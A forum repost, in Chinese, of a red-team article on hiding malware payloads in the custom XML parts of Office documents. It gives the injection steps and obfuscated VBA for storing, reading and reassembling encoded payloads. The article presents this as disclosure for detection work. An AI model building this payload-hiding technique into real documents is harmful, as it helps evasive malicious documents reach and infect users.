DecoyMini 技术交流社区

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 2317|回复: 0

[样本分析] Backdooring Office Structures. Part 2: Payload Crumbs In Custom Parts

[复制链接]

172

主题

34

回帖

30

荣誉

Rank: 9Rank: 9Rank: 9

UID
2
积分
339
精华
1
沃币
2 枚
注册时间
2021-6-24

论坛管理

发表于 2022-8-11 16:50:26 | 显示全部楼层 |阅读模式

一、摘要


本文的 第一部分 概述了在 Office 文档结构中隐藏恶意软件 payload 的基本技术,以及将它们嵌入到 VBA 和从 Internet 中提取的困境。

这篇文章讨论了另一种技术,就我而言,它代表了一种新颖的、隐秘的原语,用于存储可以使用特定 VBA 逻辑轻松提取的更大数据块。我们介绍了一种将自定义 XML 部件存储武器化的想法,可在 MS Word、Excel 和 PowerPoint 中使用,以隐藏初始访问负载。

二、自定义 XML 部件


为真正的进攻性障碍发明新解决方案的纯工程产品。当我们在 Maldoc 上犯错时,Emulation 出错后引发了一个想法。一个包含硬编码的大块 shellcode,公然嵌入到我们的 VBA 模块中。一个被破坏的初始访问变成了一个完美的借口来深入和剖析可能被重新用作恶意软件的 OpenXML 结构。

在我写这篇文章的时候,我不知道任何会提取和分析自定义 XML 部分的恶意检查套件,也不知道关于这件事的公共研究。

自定义 XML 部件是一种用于将 XML 数据嵌入到 Office 文档中的内置机制。嵌入的此类数据称为部件,位于 Office 2007+ 档案中包含的 customXml 目录中:

  1. ./customXml
  2. ./customXml/item1.xml
  3. ./customXml/itemProps1.xml
  4. ./customXml/_rels
  5. ./customXml/_rels/item1.xml.rels
复制代码

每个部分占用一个单独的 XML 项目文件,其中包含一个任意命名的节点。

2.1 插入一个新的部分


为了自动插入/删除/更新,需要调整一些文件。请注意,必须使用合理的关系标识符 (rId)。

customXml/item1.xml

  1. <evil>Hello world from CustomXMLpart</evil>
复制代码

很简单,不是吗?

一个邪恶的节点包含我们的 payload blob。节点的名称是任意的,因为我们稍后将读取它。二进制数据必须先进行 XML 转义,然后才能存储在其中。我倾向于做的是用硬编码值作为编码的 payload 的前缀,以便 VBA 代码在读取后将被结构化以应用自定义 Base64 解码器。

customXml/itemProps1.xml

每个项目都必须有相应的属性文件,在本例中为:customXml/itemProps1.xml。典型的 dataStoreItem 为该项目的 XML 定义 XML 命名空间:

  1. <?xml version="1.0" encoding="UTF-8" standalone="no"?>
  2. <ds:datastoreItem ds:itemID="{FE0B2D0B-7869-4699-AE32-3BFA0DA1269F}" xmlns:ds="http://schemas.openxmlformats.org/officeDocument/2006/customXml">
  3. <ds:schemaRefs/>
  4. </ds:datastoreItem>
复制代码

customXml/_rels/item1.xml

然后我们需要在名为 customXml/_rels/item1.xml 的文件中建立将 itemProps1.xml 链接回文档根的关系:

  1. <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
  2. <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  3. <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/customXmlProps" Target="itemProps1.xml"/>
  4. </Relationships>
复制代码

必须根据已经存在的标识符仔细选择关系 ID。

[Content_Types].xml

下一步是将 Override 子节点附加到 [Content_Types].xml 中的 Types 父节点,这会将我们注入的项目属性标记为 customXml 属性:

  1. <Override PartName="/customXml/itemProps1.xml"
  2.   ContentType="application/vnd.openxmlformats-officedocument.customXmlProperties+xml"/>
复制代码

Document rels

现在,根据我们注入零件的 Office 文件,还必须更新适当的关系列表:

  • Word:word/_rels/document.xml.rels
  • Excel:xl/_rels/workbook.xml.rels
  • PowerPoint:ppt/_rels/presentation.xml.rels

该文档主 rels 文件需要将以下关系子节点附加到关系父节点:

  1. <Relationship Target="../customXml/item1.xml"
  2.   Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/customXml" Id="rId5"/>
复制代码

2.1 Working with Parts using VBA


现在是我们的恶意软件开发艺术的最精彩部分 —— 已经注入了 payload,如何检索以让它被放入受感染的系统或加载到内存中以供 James Forshaw 的 DotNetToJS 喜悦?

插入步骤有点复杂,不幸的是,VBA 检索逻辑设计不会更简单。

Write Primitive

让我们首先为 write-primitive VBA 函数提供一个完整的样板:

  1. Sub obf_SetCustomXMLPart(ByVal obf_Name As String, ByVal obf_Data As String)
  2.     On Error GoTo obf_ProcError
  3.     Dim obf_part
  4.     Dim obf_Data2
  5.    
  6.     obf_Data2 = "<" & obf_Name & ">" & obf_Data & "</" & obf_Name & ">"
  7.    
  8.     Set obf_part = obf_GetCustomXMLPart(obf_Name)
  9.     If obf_part Is Nothing Then
  10.         On Error Resume Next
  11.         ActivePresentation.CustomXMLParts.Add (obf_Data2)
  12.         ActiveDocument.CustomXMLParts.Add (obf_Data2)
  13.         ThisWorkbook.CustomXMLParts.Add (obf_Data2)
  14.     Else
  15.         obf_part.DocumentElement.Text = obf_Data
  16.     End If
  17. obf_ProcError:
  18. End Sub
复制代码

暂时将 obf_GetCustomXMLPart 放在一边,看看纯粹在 VBA 中编写一个部件是多么容易。只需引用活动文档的全局对象并取消引用 CustomXMLParts 属性。当然,接着是调用 Add。

Read Primitive

现在是更有用的东西,这是实际的检索步骤。将编码的 .NET 程序集注入到一个部件中 —— 现在想将它传递给反序列化小工具,以便很好地为我们带来稳定的内存代码执行。所有这些都没有嵌入在 VBA 中的 .NET 的一点点,也没有从 Internet/WebDAV/UNC/ 任何地方获取。

  1. Function obf_GetCustomXMLPart(ByVal obf_Name As String) As Object
  2.     Dim obf_part
  3.     Dim obf_parts
  4.    
  5.     On Error Resume Next
  6.     Set obf_parts = ActivePresentation.CustomXMLParts
  7.     Set obf_parts = ActiveDocument.CustomXMLParts
  8.     Set obf_parts = ThisWorkbook.CustomXMLParts
  9.    
  10.     For Each obf_part In obf_parts
  11.         If obf_part.SelectSingleNode("/*").BaseName = obf_Name Then
  12.             Set obf_GetCustomXMLPart = obf_part
  13.             Exit Function
  14.         End If
  15.     Next
  16.         
  17.     Set obf_GetCustomXMLPart = Nothing
  18. End Function

  19. Function obf_GetCustomXMLPartTextSingle(ByVal obf_Name As String) As String
  20.     Dim obf_part
  21.     Dim obf_out, obf_m, obf_n
  22.    
  23.     Set obf_part = obf_GetCustomXMLPart(obf_Name)
  24.     If obf_part Is Nothing Then
  25.         obf_GetCustomXMLPartTextSingle = ""
  26.     Else
  27.         obf_out = obf_part.DocumentElement.Text
  28.         obf_n = Len(obf_out) - 2 * Len(obf_Name) - 5
  29.         obf_m = Len(obf_Name) + 3
  30.         If Mid(obf_out, 1, 1) = "<" And Mid(obf_out, Len(obf_out), 1) = ">" And Mid(obf_out, obf_m - 1, 1) = ">" Then
  31.             obf_out = Mid(obf_out, obf_m, obf_n)
  32.         End If
  33.         obf_GetCustomXMLPartTextSingle = obf_out
  34.     End If
  35. End Function

  36. Function obf_GetCustomPart(ByVal obf_Name As String) As String
  37.     On Error GoTo obf_ProcError

  38.     Dim obf_tmp, obf_j
  39.     Dim obf_part
  40.     obf_j = 0
  41.    
  42.     Set obf_part = obf_GetCustomXMLPart(obf_Name & "_" & obf_j)
  43.     While Not obf_part Is Nothing
  44.         obf_tmp = obf_tmp & obf_GetCustomXMLPartTextSingle(obf_Name & "_" & obf_j)
  45.         obf_j = obf_j + 1
  46.         Set obf_part = obf_GetCustomXMLPart(obf_Name & "_" & obf_j)
  47.     Wend
  48.    
  49.     If Len(obf_tmp) = 0 Then
  50.         obf_tmp = obf_GetCustomXMLPartTextSingle(obf_Name)
  51.     End If
  52.    
  53.     obf_GetCustomPart = obf_tmp
  54.    
  55. obf_ProcError:
  56. End Function
复制代码

为了提取 part,我们调用 obf_GetCustomPart 并将 part 名称作为参数传递。然后将遍历文档的 CustomXMLParts 对象 (如果为 Excel 则是 ThisWorkbook.CustomXMLParts)。部件枚举是必需的,因为该列表中预先填充了一些其他条目,这就是为什么实现看起来过于复杂的原因。



最终的 PoC 文件、代码和相关文件可以在专门的 github 存储库 中查看。

三、结论


CustomXMLParts 在过去的工作中为我提供了很好的服务,因为该存储允许以非常隐蔽的方式包含数百 KB 长的 payload。每当我们选择避免​​使用 Internet-staging,或者知道附加的 input DLL/shellcode/.NET 程序集太大以至于 VBA 代码在尝试对其进行解码时会冻结时,都可以提供帮助。

这个存储区域和第 1 部分中讨论的其他一些存储区域仅构成了攻击者可能在 OpenXML 文档中滥用以隐藏其武器的不同位置的几个示例。防御者、恶意软件分析师在分类过程中处理受感染的办公文档时,需要注意可以存储 payload 的另一个部分。

我希望这项技术的披露将通过检测开发工作得到满足,从而为 CustomXMLParts 添加特定的反恶意软件光学。特别是,我期待看到 olevba.py、oledump.py 和 OSS 添加对 parts 解剖的支持,因为在我的研究期间缺少一个。

最后,我知道其他 Office 结构可以为恶意软件代码提供类似的存储目的,但我还没有将它们武器化。在烧毁了一种有效的技术后,依赖该技术的红队和威胁者将不得不适应并推动去发现其他技术。当这种情况发生时,我们将捕获他们的 TTP,或者耐心等待红队记录他们的 TTP,从而完成网络安全演进的循环。另一个循环总是导致关闭。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|小黑屋|DecoyMini 技术交流社区 ( 京ICP备2021005070号 )

GMT+8, 2024-4-25 15:43 , Processed in 0.077731 second(s), 27 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表